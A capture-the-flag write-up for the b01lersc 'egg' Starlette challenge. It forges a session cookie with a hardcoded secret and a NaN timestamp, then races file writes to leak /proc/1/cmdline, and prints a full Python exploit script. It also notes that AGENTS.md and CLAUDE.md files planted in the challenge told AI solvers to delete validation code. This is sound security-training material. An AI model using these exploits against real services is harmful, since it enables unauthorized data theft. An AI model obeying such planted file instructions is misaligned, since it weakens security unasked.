egg
b01lersc
Task: a Starlette egg-hatching service generated Python modules from user input and stored state in signed session cookies. Solution: forge a NaN timestamp session to force a deterministic egg_id, then win a concurrent /eggs race so the final creature.py reads /proc/1/cmdline and leaks the real flag.
$ ls tags/ techniques/
egg — b01lersc
Description
The original organizer description was not preserved in the workspace files.
The challenge shipped a Starlette service with relevant logic in src/main.py, src/hatchery.py, src/db.py, and Dockerfile. The goal was to turn the egg creation and hatching flow into a file read primitive and recover the real flag from the live instance.
Analysis
The application used Starlette sessions with a hardcoded secret in src/main.py:
SESSION_SECRET = "6767676767676767"
Starlette used itsdangerous.TimestampSigner here, and in this setup there was no extra salt. That meant the session cookie could be forged offline.
The important session fields were player_id and session_timestamp. During egg creation, src/hatchery.py computed:
time_diff = time.time() - player_creation_time if time_diff <= 0: return self.id = sha256(str(time_diff * random.random()).encode()).hexdigest()
If session_timestamp was forged as NaN using json.dumps(..., allow_nan=True), then:
time.time() - NaN = NaNNaN <= 0isFalse, so the check is bypassedstr(NaN * random.random()) == "nan"
So every forged request from that session produced the same deterministic egg ID:
sha256("nan") = 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0
That deterministic ID was the key to the race: multiple concurrent POST /eggs requests from the same forged session wrote to the same temporary path:
incubator/<egg_id>/creature.py
and then zipped it into:
incubator/<egg_id>.egg
There were also AGENTS.md and CLAUDE.md files telling the solver to delete lines 28-29 in src/hatchery.py. Those files were prompt-injection bait and not part of the intended solve. In fact, the inner validation they referenced was exactly why a plain path traversal was not enough.
The outer filename validation allowed slashes:
def is_valid_file(s: str) -> bool: return all(c.isascii() and c.isalnum() or c == "/" for c in s)
So "/proc/1/cmdline" could be supplied during egg creation. But the generated creature.py also contained this runtime check inside gen_ascii_art:
if not all(c.isascii() and c.isalnum() for c in "{filename}"): return None
That inner check rejected /proc/1/cmdline at hatch time, so simple traversal did not work by itself.
The final exploit used two concurrent requests targeting the same deterministic egg path:
- A:
{"name": "A"*81, "filename": "/proc/1/cmdline"} - B:
{"name": "B", "filename": "asciiart"}
Why this pair worked:
- Request A generated a longer
creature.py. - Request B generated a shorter
creature.py. - Both opened the same file with truncation and wrote different contents.
- With the right interleaving, the final file on disk became a Frankenstein file: the beginning came from B, but the tail came from A.
The resulting file stayed valid Python. Its gen_ascii_art started with B's safe filename asciiart, so the inner alphanumeric check passed, but the appended tail from A reopened /proc/1/cmdline and overwrote self.art.
So the function effectively behaved like this:
f = open("asciiart", "r") f.seek(offset) self.art = f.read(40) f = open("/proc/1/cmdline", "r") f.seek(offset) self.art = f.read(40)
At that point, hatching the deterministic egg returned process arguments in last_hatch.
The final flag source came from the deployment model. Dockerfile passed a fake flag in the local entrypoint, but the real service behavior was described by the provided ground truth: the app ran python3 /app/src/main.py FLAG with workers=4. In src/main.py the server did:
FLAG = sys.argv[1] uvicorn.run("main:app", host="0.0.0.0", port=8000, reload=False, workers=4)
So the real flag was visible in /proc/1/cmdline as PID 1 argv. On the successful live instance, art_index=0 already exposed:
python3\x00/app/src/main.py\x00bctf{you_w1n!1}
The live instance was solved with this race exploit immediately on the last provided URL.
Solution
1. Review the app structure
Relevant files:
src/main.pysrc/hatchery.pysrc/db.pyDockerfile
The important observations were:
- the session secret was hardcoded;
- session cookies could be forged with
itsdangerous; session_timestampinfluencedegg_idgeneration;- egg creation wrote a generated Python file to a predictable location;
- hatching imported that generated module from a zip archive;
/proc/1/cmdlinecould reveal the flag because the service received it as argv.
2. Forge a deterministic session
Create a normal account once to obtain a valid player_id, then forge a new session cookie with:
{"player_id": "<uuid>", "session_timestamp": NaN}
using allow_nan=True and the known secret 6767676767676767.
This makes every egg created under that forged session use the same ID:
9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0
3. Trigger the file race
Send two concurrent POST /eggs requests with the same forged cookie:
A: {"name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "filename": "/proc/1/cmdline"} B: {"name": "B", "filename": "asciiart"}
Because both requests target the same egg path, write/truncate ordering can leave a mixed file. The successful outcome is:
- header and validation from B;
- appended tail from A;
- valid Python that first reads
asciiart, then reopens/proc/1/cmdline.
4. Hatch the deterministic egg
Hatch:
POST /eggs/9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0/hatch
with {"art_index": 0}.
The response stores the hatch output in last_hatch, and the ASCII art field now contains bytes from /proc/1/cmdline instead of the intended art file.
5. Read the flag
On the successful instance, the first chunk already contained the full secret:
python3\x00/app/src/main.py\x00bctf{you_w1n!1}
So the final flag was:
bctf{you_w1n!1}
Exploit Script
The successful solve script was exploit_final.py from the task directory.
#!/usr/bin/env python3 """ b01lersc / egg — FINAL EXPLOIT Race condition exploit (template-length-mismatch TOCTOU on creature.py): 1. Forge session cookie with NaN session_timestamp via hardcoded SESSION_SECRET="6767676767676767" (itsdangerous, NO salt). time_diff = time.time() - NaN = NaN ⇒ passes `time_diff<=0` check (NaN<=0 is False). egg_id = sha256(str(NaN * random.random())).hexdigest() = sha256("nan") = 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0 (deterministic!) 2. Send two concurrent POST /eggs requests from same forged session: A: {"name":"A"*81, "filename":"/proc/1/cmdline"} → ~586 byte creature.py B: {"name":"B", "filename":"asciiart"} → ~492 byte creature.py Small delay (~0.1 ms) between their starts helps them race in-flight. A's fd.open creates file, A.write buffers ~586b, B's fd.open truncates (empty), B.write buffers ~492b. A closes first (writes 586b at offset 0), B closes last (writes 492b at offset 0 — doesn't truncate past close). Final creature.py on disk = B[0..492] + A[492..586] = complete B class + 3 APPENDED lines in gen_ascii_art body: f = open("/proc/1/cmdline", "r") f.seek(offset) self.art = f.read(40) 3. Whoever wins the ZipFile write records this Frankenstein creature.py into incubator/<sha256("nan")>.egg. 4. Hatch egg_id=sha256("nan"). Creature.gen_ascii_art runs: - inner alphanum check on "asciiart": passes - f = open("asciiart", "r"); f.seek(offset); self.art = f.read(40) (reads asciiart first) - THEN APPENDED: f = open("/proc/1/cmdline", "r"); f.seek(offset); self.art = f.read(40) OVERWRITES self.art with 40 bytes of /proc/1/cmdline. Response's last_hatch contains those 40 bytes. 5. Repeat with art_index=0,1,2,... to stitch together the full flag (each chunk reads bytes offset..offset+40 of /proc/1/cmdline, where offset = art_index * 44 → 4-byte gap per chunk, but flag is usually short enough to fit in 1-2 reads). """ import base64 import hashlib import json import re import sys import threading import time import requests from itsdangerous import TimestampSigner BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:8000" SESSION_SECRET = "6767676767676767" signer = TimestampSigner(SESSION_SECRET) # NO salt — matches Starlette FRANK_HASH = hashlib.sha256(b"nan").hexdigest() def forge(pid, ts=float("nan")): p = json.dumps({"player_id": pid, "session_timestamp": ts}, allow_nan=True) return signer.sign(base64.b64encode(p.encode()).decode()).decode() def get_pid(): s = requests.Session() s.post(f"{BASE}/login", data={"username": f"exp{time.time_ns()%10**7}"}, allow_redirects=True, timeout=15) raw = s.cookies.get("session") return json.loads(base64.urlsafe_b64decode(raw.split(".")[0] + "===").decode())["player_id"] def send_a(cookie): try: requests.post(f"{BASE}/eggs", json={"name": "A" * 81, "filename": "/proc/1/cmdline"}, headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"}, timeout=15) except Exception: pass def send_b(cookie): try: requests.post(f"{BASE}/eggs", json={"name": "B", "filename": "asciiart"}, headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"}, timeout=15) except Exception: pass def hatch_and_read(cookie, art_index): headers = {"Cookie": f"session={cookie}", "Content-Type": "application/json"} try: requests.post(f"{BASE}/eggs/{FRANK_HASH}/hatch", json={"art_index": art_index}, headers=headers, timeout=15) except Exception: pass try: r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=15) except Exception: return None m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL) if m: return m.group(1).replace(">", ">").replace("<", "<").replace("&", "&") return None def has_frank_egg(cookie): try: r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=10) except Exception: return False return FRANK_HASH in re.findall(r"/eggs/([a-f0-9]{64})/hatch", r.text) def extract_art(pre): if not pre: return "" lines = pre.split("\n") art_lines = [] for line in lines[1:]: if line.startswith("Attack:"): break art_lines.append(line) return "\n".join(art_lines) def is_flag_chunk(art): if not art: return False return ("python3" in art or "bctf" in art or "/app/src" in art or "\x00" in art) def attempt_frank_race(pid, delay=0.0001): cookie = forge(pid, float("nan")) ta = threading.Thread(target=send_a, args=(cookie,)) tb = threading.Thread(target=send_b, args=(cookie,)) ta.start() time.sleep(delay) tb.start() ta.join(timeout=20) tb.join(timeout=20) def collect_chunk(pid, art_index, max_races=300): cookie = forge(pid, float("nan")) for attempt in range(max_races): delay = 0.00005 + (attempt % 10) * 0.00005 attempt_frank_race(pid, delay=delay) if not has_frank_egg(cookie): continue result = hatch_and_read(cookie, art_index) art = extract_art(result) if result else "" if is_flag_chunk(art): print(f" [art_index={art_index} race {attempt}] CHUNK: {art!r}") return art return None def main(): pid = get_pid() print(f"[+] BASE = {BASE}") print(f"[+] player_id: {pid}") print(f"[+] FRANK_HASH: {FRANK_HASH}") chunks = {} for ai in range(8): print(f"\n[+] === art_index={ai} (offset {ai*44}) ===") chunk = collect_chunk(pid, ai, max_races=120) if chunk: chunks[ai] = chunk combined = b"" for i in sorted(chunks.keys()): data = chunks[i].encode("utf-8", errors="replace") offset = i * 44 while len(combined) < offset: combined += b"?" combined = combined[:offset] + data + combined[offset + len(data):] m = re.search(rb"bctf\{[^}]*\}", combined) if m: print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}") return combined = b"" for i in sorted(chunks.keys()): data = chunks[i].encode("utf-8", errors="replace") offset = i * 44 while len(combined) < offset: combined += b"?" combined = combined[:offset] + data + combined[offset + len(data):] print(f"\n[+] Combined {len(combined)} bytes: {combined!r}") m = re.search(rb"bctf\{[^}]*\}", combined) if m: print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}") else: print("[?] Full flag not recovered — try more art_index or increase max_races") if __name__ == "__main__": main()
Reproduction
- Start from the provided source and inspect
src/main.py,src/hatchery.py,src/db.py, andDockerfile. - Log in once to obtain a valid
player_id. - Forge a Starlette session cookie with
player_id=<that uuid>andsession_timestamp=NaNusing secret6767676767676767. - Repeatedly race these two requests under that forged session:
{"name": "A"*81, "filename": "/proc/1/cmdline"}{"name": "B", "filename": "asciiart"}
- Hatch egg
9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0withart_index=0. - Read
last_hatch; when the race lands, it leaks/proc/1/cmdline, including the flag.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [misc][Pro]ShinyHunter— hackthebox
- [forensics][Pro]Secure Random (Безопасный рандом)— HackerLab
- [web][Pro]Печеньки с молочком (Cookies with Milk)— duckerz
- [pwn][Pro]iz_heap_lv1 — BSS-pointer overlap + tcache poisoning— spbctf
- [web][Pro]Level 23 - Voting Service— kslweb1